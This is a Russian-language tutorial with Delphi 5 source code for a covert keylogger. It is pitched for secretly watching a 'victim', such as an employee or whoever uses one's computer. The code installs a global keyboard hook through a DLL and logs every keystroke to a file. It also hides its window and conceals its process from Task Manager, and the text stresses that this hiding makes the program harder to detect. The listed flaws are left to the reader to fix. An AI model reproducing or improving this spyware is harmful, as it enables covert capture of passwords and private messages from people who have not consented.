Возникали ли у вас когда либо подозрения, что вашим компьютером кто-то пользовался во время вашего отсутствия?
Что, если вы - начальник и хотите знать, для чего ваши сотрудники используют компьютеры вашей фирмы в свободное время?
А может вам просто нужно проследить за действиями какого либо человека, использующего компьютер?
Один из способов разобраться - поставить программу на компьютер "жертвы", которая будет незаметно считывать все нажатые клавиши и записывать их в файл (для дальнейшего изучения поставившим эту программу, т.е. нами).
Такая программа называется Key Logger.
В этом выпуске я рассмотрю написание простейшего Key Logger'а на Borland Delphi 5.
Описание работы.
Нам нужно написать программу, которая будет перехватывать и записывать в файл клавиши, нажатые в других приложениях.
Для перехвата нам нужно поставить клавиатурную ловушку(Hook).
Но чтобы ловушка перехватывала нажатия клавиш во всех программах, надо чтобы она была глобальной.
Для установки глобальной ловушки мы будем использовать динамически подключаемую библиотеку(Dynamic Link Library, DLL).
Таким образом мы должны подготовить два проекта: первый - управляющая программа(EXE), второй - библиотека(DLL).
Управляющая программа будет использовать функции из библиотеки.
Сама функция для ловушки (KeyHook) находится в DLL, поэтому нужно передать параметры события при её вызове в управляющую программу.
Для этого мы используем процедуру SendMessage.
С её помощью мы посылаем форме управляющей программы событие, которое, в свою очередь, обрабатывается в процедуре wm_KeyEvent.
Замечу, что в функции библиотеки KeyHook для получения дескриптора формы управляющей программы мы использовали функцию FindWindow.
В случае переименования или изменения надписи формы, нужно подкорректировать соответствующие значения в этой функции.
Чтобы программа небыла видна в диспетчере задач мы скрываем её функцией RegisterServiceProcess.
Так как эта функция не объявлена в Windows.pas, нам нужно самим импортировать её из Kernel32.dll.
Скрыть таким образом программу очень важно, хотя бы для того, чтобы её было сложнее обнаружить в памяти.
Недостатки.
- в некоторых приложениях(MS Office) программа регистрирует по несколько событий,
- в некоторых приложениях(консольных, Borland Delphi...) программа вообще не регистрирует события,
- все русские буквы записываются английскими,
- регистр для букв всегда верхний,
- прочие клавиши(Ctrl, Shift) записываются символами, а не в виде [Ctrl] и [Shift].
Эти недостатки я оставляю вам на доработку.
const
txtfile='text.txt'; //имя файла для вывода клавиш
wm_Key_Event=wm_User+134; //событие клавиатуры
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormPaint(Sender: TObject);
private
procedure wm_KeyEvent(var M: TMessage); message wm_Key_Event; //процедура обработки события
end;
var
Form1: TForm1;
f: File of char; //описание файла
implementation
{$R *.DFM}
//Импортируемые функции
function SetHook: boolean; stdcall; external 'HookLib' name 'SetHook'; //функция установки ловушки
procedure UnHook; stdcall; external 'HookLib' name 'UnHook'; //процедура снятия ловушки
function RegisterServiceProcess(dwProcessID, dwType : DWord): DWord; stdcall external 'Kernel32.dll' name 'RegisterServiceProcess'; //функция для скрытия приложения
procedure TForm1.FormCreate(Sender: TObject);
//при создании формы...
begin
RegisterServiceProcess(GetCurrentProcessID,1); //скрываем процесс
If not SetHook then ShowMessage('Failed to set hook'); //устанавливаем и проверяем ловушку
AssignFile(f,txtfile); //открываем файл
Rewrite(f); //перезаписываем его
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
//при выключении формы...
begin
UnHook; //снимаем ловушку
CloseFile(f); //закрываем файл
end;
procedure TForm1.FormPaint(Sender: TObject);
//при появлении формы...
begin
Form1.Hide; //сразу скрываем её
end;
procedure TForm1.wm_KeyEvent(var M: TMessage);
//обработка события клавиатуры
var
c: char;
begin
c:=Chr(M.wParam); //получаем код клавиши
Write(f,c); //записываем его в файл
If M.wParam=19 then beep; //если нажата Pause издаём щелчёк
If M.wParam=123 then //если нажата клавиша F12
begin
UnHook; //снимаем ловушку
CloseFile(f); //закрываем файл
Application.Terminate; //выключаем программу
end;
end;
end.
Файл Hooklib.dpr дополнительной библиотеки hooklib.dll library hooklib;
{ Файл hooklib.dpr программы Key Logger }
{ (c) 2003 Nabatnikov Ivan (urisff@inbox.ru) }
{ http://newff.narod.ru }
function KeyHook(Code: integer; wParam: word; lParam: Longint): Longint; stdcall; export;
//функция-ловушка для перехвата сообщений клавиатуры
var
H: HWND; //дескриптор окна
begin
H:=FindWindow('TForm1','Form1'); //ищем наше окно по классу('T'+Name) и по надписи(Caption)
If lParam and $40000000=0 then //сверяем...
SendMessage(H,wm_Key_Event,wParam,lParam); //посылаем сообщение с клавишей нашему окну
Result:=CallNextHookEx(HH,Code,wParam,lParam); //позволяем обработку другим приложениям
end;
function SetHook: boolean;
//функция установки ловушки
begin
Result:=true;
HH:=SetWindowsHookEx(wh_Keyboard,@KeyHook,hInstance,0); //устанавливаем...
If HH=0 then Result:=false; //если не установлена
end;
procedure UnHook;
begin
If HH<>0 then //если ловушка была установлена
UnhookWindowsHookEx(HH); //то снимаем её
end;
exports
//функции для экспорта
KeyHook,
SetHook,
UnHook;